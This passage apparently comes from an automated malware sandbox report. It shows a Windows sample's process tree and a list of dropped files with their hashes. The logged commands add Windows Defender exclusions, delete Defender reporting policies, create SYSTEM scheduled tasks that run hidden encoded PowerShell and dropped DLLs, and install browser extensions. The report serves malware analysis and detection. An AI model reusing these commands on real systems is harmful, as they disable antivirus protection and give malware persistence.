                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1920
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\ihUYOsbkXmStDhVB /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:3836
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\ihUYOsbkXmStDhVB /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:3108
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                              3⤵
                                                                                                                PID:4920
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:2640
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:1936
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:3332
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK /t REG_DWORD /d 0 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:2852
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK /t REG_DWORD /d 0 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:2172
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nHkJQUniIMPgfrVz /t REG_DWORD /d 0 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:2664
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nHkJQUniIMPgfrVz /t REG_DWORD /d 0 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:4980
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /CREATE /TN "gxQTxivtu" /SC once /ST 00:51:25 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                            2⤵
                                                                                                                            • Creates scheduled task(s)
                                                                                                                            PID:4436
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /run /I /tn "gxQTxivtu"
                                                                                                                            2⤵
                                                                                                                              PID:2772
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /DELETE /F /TN "gxQTxivtu"
                                                                                                                              2⤵
                                                                                                                                PID:2288
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /CREATE /TN "YdWhrynxKGQiTdtBc" /SC once /ST 00:00:34 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\jssbbPI.exe\" og /Hhsite_idgcV 525403 /S" /V1 /F
                                                                                                                                2⤵
                                                                                                                                • Drops file in Windows directory
                                                                                                                                • Creates scheduled task(s)
                                                                                                                                PID:4928
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /run /I /tn "YdWhrynxKGQiTdtBc"
                                                                                                                                2⤵
                                                                                                                                  PID:4188
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                1⤵
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:4296
                                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                  2⤵
                                                                                                                                    PID:4360
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                  1⤵
                                                                                                                                    PID:2796
                                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                                    1⤵
                                                                                                                                      PID:1992
                                                                                                                                    • C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\jssbbPI.exe
                                                                                                                                      C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\jssbbPI.exe og /Hhsite_idgcV 525403 /S
                                                                                                                                      1⤵
                                                                                                                                      • Checks computer location settings
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Drops Chrome extension
                                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                                      • Drops file in System32 directory
                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:3020
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /DELETE /F /TN "byVqvYMHXaoMZDRgRv"
                                                                                                                                        2⤵
                                                                                                                                          PID:2176
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                          2⤵
                                                                                                                                            PID:4016
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:2960
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                              2⤵
                                                                                                                                                PID:944
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:4276
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\xaXHhbBRU\hWejYZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "NmaEDVxnjLfXRnq" /V1 /F
                                                                                                                                                  2⤵
                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:1928
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TN "NmaEDVxnjLfXRnq2" /F /xml "C:\Program Files (x86)\xaXHhbBRU\klbEirz.xml" /RU "SYSTEM"
                                                                                                                                                  2⤵
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:2640
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /END /TN "NmaEDVxnjLfXRnq"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4104
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /DELETE /F /TN "NmaEDVxnjLfXRnq"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:4752
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "hqgMwoyDSsIoWX" /F /xml "C:\Program Files (x86)\mBUaPyDkTUtU2\NYxnTmb.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:4520
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "RZYQSfteLooPz2" /F /xml "C:\ProgramData\ihUYOsbkXmStDhVB\rmjuvyb.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:1316
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "ouYyMlgHVVVhUNspw2" /F /xml "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\ItoknWj.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:3488
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "akaEizNpwrKtYZfeYHH2" /F /xml "C:\Program Files (x86)\cnKtfofVELLNC\yxgRhap.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:1468
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "fORmCKMRpgzCRPXvW" /SC once /ST 00:13:22 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nHkJQUniIMPgfrVz\BpXhRVlD\ztvOWvF.dll\",#1 /Jlsite_idMKg 525403" /V1 /F
                                                                                                                                                      2⤵
                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:5084
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /run /I /tn "fORmCKMRpgzCRPXvW"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1656
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                        2⤵
                                                                                                                                                          PID:2480
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:3980
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1996
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:4956
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /DELETE /F /TN "YdWhrynxKGQiTdtBc"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:4728
                                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nHkJQUniIMPgfrVz\BpXhRVlD\ztvOWvF.dll",#1 /Jlsite_idMKg 525403
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:1896
                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nHkJQUniIMPgfrVz\BpXhRVlD\ztvOWvF.dll",#1 /Jlsite_idMKg 525403
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                    PID:1992
                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                      schtasks /DELETE /F /TN "fORmCKMRpgzCRPXvW"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:3512

                                                                                                                                                                  Network

                                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                                  Replay Monitor

                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                  Downloads

                                                                                                                                                                  • C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\ItoknWj.xml

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    06115a8c4fc1ab0cc145a2beecf26d89

                                                                                                                                                                    SHA1

                                                                                                                                                                    b357db07f8c26198369bdf172f012fb0e4a2eeb2

                                                                                                                                                                    SHA256

                                                                                                                                                                    d838e85d031c2508c553a915675829d0521ee2400f97122f12c749996420e58b

                                                                                                                                                                    SHA512

                                                                                                                                                                    63ddf558ef717074717583edf285659d4bd26eca742ae295a6f79ba85122de42665351a3bad38f4ce00fcbcce936029f94afd3b7f5eacd76fcef7cadb4e481f2

                                                                                                                                                                  • C:\Program Files (x86)\cnKtfofVELLNC\yxgRhap.xml

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    78279b912d65c0af1f5825d5f1a81611

                                                                                                                                                                    SHA1

                                                                                                                                                                    8127703c1709468338d5c378de70ac75544e622a

                                                                                                                                                                    SHA256

                                                                                                                                                                    fffe443c2abc994471bded894894a2d890bf7a51b9faf05635cb412896a99b93

                                                                                                                                                                    SHA512

                                                                                                                                                                    1c169324e21d683f6602d8a3b95329af83e8be6ab81b3de0dd931ba076a2f96eb52d11e566a41e763f2ece9e0315c8d39a9a7ceda6388aaae51bae509dbe6f2c

                                                                                                                                                                  • C:\Program Files (x86)\mBUaPyDkTUtU2\NYxnTmb.xml

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    445969bf34d76c8e4737572aa9f2c5bf

                                                                                                                                                                    SHA1

                                                                                                                                                                    daaba15055b1f3d8cbd95f91366f12c15384b9a8

                                                                                                                                                                    SHA256

                                                                                                                                                                    9389acfed4ef96e8e4a800162532061686bfb8f0e869964b725b9bdf84429fc8

                                                                                                                                                                    SHA512

                                                                                                                                                                    f4cc3c43a643ca3d552b4be66c4f878fd71a7be6de996a77c14879e4f93e70d79dc941b2f7d97bed2e11e1855a82a2a1df664f39c8dd4cd3caf08928af9d772c

                                                                                                                                                                  • C:\Program Files (x86)\xaXHhbBRU\klbEirz.xml

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    2ea52bbdd2bc166d01b6eec40edad9c4

                                                                                                                                                                    SHA1

                                                                                                                                                                    4383333ff68155b2a234014a0b016cfb6f52cbcd

                                                                                                                                                                    SHA256

                                                                                                                                                                    2266a578e6c0662b91a16e6145be124f0d4d60d07c32545bc10bee882dc58c53

                                                                                                                                                                    SHA512

                                                                                                                                                                    9240cb8252f93a1edb84e937c3d8169179e3196c9987cb65a9df04792507f416ed1bd8f1376e17fa1f219ba19ebb1dc1ca7fee0688d54bb01641e03f2f29b650

                                                                                                                                                                  • C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.2MB

                                                                                                                                                                    MD5

                                                                                                                                                                    4c3e7c38bca76f2c7df8be450e454190

                                                                                                                                                                    SHA1

                                                                                                                                                                    3a201ddadad2fad28cda0d9c1a194666f01b830f

                                                                                                                                                                    SHA256

                                                                                                                                                                    b87bdf1cabcc4965717878690526323d24ca20d4706e36cf662ed88bf0e01f3f

                                                                                                                                                                    SHA512

                                                                                                                                                                    5b6b61df8cbccaf88771fa676418a484182fadb0117441a5a80db2909cbcce81b153b7c86ee8af56ecbaad5f47e5c4af4749dfdb43164945f16836c463adb075

                                                                                                                                                                  • C:\ProgramData\ihUYOsbkXmStDhVB\rmjuvyb.xml

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    9ccc82739072824ce2bb3517cce847bb

                                                                                                                                                                    SHA1

                                                                                                                                                                    5ab69ebfc721f6216516e60cf784632e75a957b0

                                                                                                                                                                    SHA256

                                                                                                                                                                    6d0197e63e7341d5c22adf365ccdca4fb0c872d9dfd8ab9ff4b5e1e6544f4b9d

                                                                                                                                                                    SHA512

                                                                                                                                                                    b2a1046f76af5f6fd187a7b3bfc95009f598d212558561918377d859c4f6a5d501771d720bf7e968ccac238fe2d718157ecd2503c70acd30aebbd7dc085abc27

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

                                                                                                                                                                    Filesize

                                                                                                                                                                    187B

                                                                                                                                                                    MD5

                                                                                                                                                                    2a1e12a4811892d95962998e184399d8

                                                                                                                                                                    SHA1

                                                                                                                                                                    55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                    SHA256

                                                                                                                                                                    32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                    SHA512

                                                                                                                                                                    bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

                                                                                                                                                                    Filesize

                                                                                                                                                                    136B

                                                                                                                                                                    MD5

                                                                                                                                                                    238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                    SHA1

                                                                                                                                                                    0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                    SHA256

                                                                                                                                                                    801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                    SHA512

                                                                                                                                                                    2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

                                                                                                                                                                    Filesize

                                                                                                                                                                    150B

                                                                                                                                                                    MD5

                                                                                                                                                                    0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                    SHA1

                                                                                                                                                                    6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                    SHA256

                                                                                                                                                                    0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                    SHA512

                                                                                                                                                                    5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    10KB

                                                                                                                                                                    MD5

                                                                                                                                                                    891a62383446059b4d63a1362bd18e45

                                                                                                                                                                    SHA1

                                                                                                                                                                    80dea53aa745aadd48aa28f4be03b03881a90131

                                                                                                                                                                    SHA256

                                                                                                                                                                    01ffa70ae75d856545e7cc0baf478410c4577e3a6a7d1833df29fc0c52f53cb7

                                                                                                                                                                    SHA512

                                                                                                                                                                    af4bb60e9daefce36fff729640460c6e88a0a831fad4d10bd30e8bcbae95e123243dcc8f4d604421ea7c345ddfe8b2c9d10c4cb1dac3dfa9493bc1a4b85f411f

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    28KB

                                                                                                                                                                    MD5

                                                                                                                                                                    e3b2fc32e673bdddd4131485e5637082

                                                                                                                                                                    SHA1

                                                                                                                                                                    b7c3c5f32e9e9e70efffde652c7554b1bae391bb

                                                                                                                                                                    SHA256

                                                                                                                                                                    558c75385a89269bc894cc03ae3368a1db5071af6d7f692472628b64b65e7b0d

                                                                                                                                                                    SHA512

                                                                                                                                                                    d39ae7ef8348eafd49e2d5a6b9a7552106207948ba9f08a688a4667b1a01b9cd0db246b04c8069f5f699db87c0ebfedfed9025bd8ee2d49924c3ad5d6721e7b8

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                                    SHA1

                                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                                    SHA256

                                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                                    SHA512

                                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\abgdohlnibdejcajjfmngebmdanjldcc\1.2_0\_locales\es\messages.json

                                                                                                                                                                    Filesize

                                                                                                                                                                    151B

                                                                                                                                                                    MD5

                                                                                                                                                                    bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                                                    SHA1

                                                                                                                                                                    9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                                                    SHA256

                                                                                                                                                                    b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                                                    SHA512

                                                                                                                                                                    3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    9KB

                                                                                                                                                                    MD5

                                                                                                                                                                    d77dfa87fafbe2aa2e2460d94367ec15

                                                                                                                                                                    SHA1

                                                                                                                                                                    94c27759b9457bdb8bbbef8cea9ec76961b722f0

                                                                                                                                                                    SHA256

                                                                                                                                                                    584adce6bebc820422733009a3c3be6d535f5ed8bbeba46be0d36794b31a2885

                                                                                                                                                                    SHA512

                                                                                                                                                                    61b5cf4d5b96d72fcf0e239ffbb7bf991e4ba460d1c1805c5ca90d02ba40b696ec6f5a9d3656543a77027d8c242111d28006e2af0695fd54dc3ab22038884e4b

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                    Filesize

                                                                                                                                                                    64B

                                                                                                                                                                    MD5

                                                                                                                                                                    f635ff85489c6a33ce5fec6d950b7de1

                                                                                                                                                                    SHA1

                                                                                                                                                                    2248fc36e2205873fe8eb0770760c5a9e818ef68

                                                                                                                                                                    SHA256

                                                                                                                                                                    86fe05491a248fe13867acd2679e919e148b936c7774e240191438031963d3d3

                                                                                                                                                                    SHA512

                                                                                                                                                                    e392d2de377a9a1cec64d8b83183189612609af42b214f741807ce85f68e225fd4a1e10579bf782d2ddb7430e01b0e3a2d69c7934ef34aba1f55cdd90230c923

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSE6F5.tmp\Install.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    6.1MB

                                                                                                                                                                    MD5

                                                                                                                                                                    fd430d9917eb29f489a75e1bc4558568

                                                                                                                                                                    SHA1

                                                                                                                                                                    bd650b116bc216e5e3d70a0c79d05e57f21681a5

                                                                                                                                                                    SHA256

                                                                                                                                                                    b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e

                                                                                                                                                                    SHA512

                                                                                                                                                                    f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSE6F5.tmp\Install.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    6.1MB

                                                                                                                                                                    MD5

                                                                                                                                                                    fd430d9917eb29f489a75e1bc4558568

                                                                                                                                                                    SHA1

                                                                                                                                                                    bd650b116bc216e5e3d70a0c79d05e57f21681a5

                                                                                                                                                                    SHA256

                                                                                                                                                                    b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e

                                                                                                                                                                    SHA512

                                                                                                                                                                    f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSE8AA.tmp\Install.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                    MD5

                                                                                                                                                                    5a7e568c4ff53db46e5704e6a026af57

                                                                                                                                                                    SHA1

                                                                                                                                                                    58c8ef71ee70efdc6b60ad872e4d021fb016582b

                                                                                                                                                                    SHA256

                                                                                                                                                                    a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc

                                                                                                                                                                    SHA512

                                                                                                                                                                    743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSE8AA.tmp\Install.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                    MD5

                                                                                                                                                                    5a7e568c4ff53db46e5704e6a026af57

                                                                                                                                                                    SHA1

                                                                                                                                                                    58c8ef71ee70efdc6b60ad872e4d021fb016582b

                                                                                                                                                                    SHA256

                                                                                                                                                                    a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc

                                                                                                                                                                    SHA512

                                                                                                                                                                    743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\ucpslGn.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                    MD5

                                                                                                                                                                    5a7e568c4ff53db46e5704e6a026af57

                                                                                                                                                                    SHA1

                                                                                                                                                                    58c8ef71ee70efdc6b60ad872e4d021fb016582b

                                                                                                                                                                    SHA256

                                                                                                                                                                    a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc

                                                                                                                                                                    SHA512

                                                                                                                                                                    743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\ucpslGn.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                    MD5

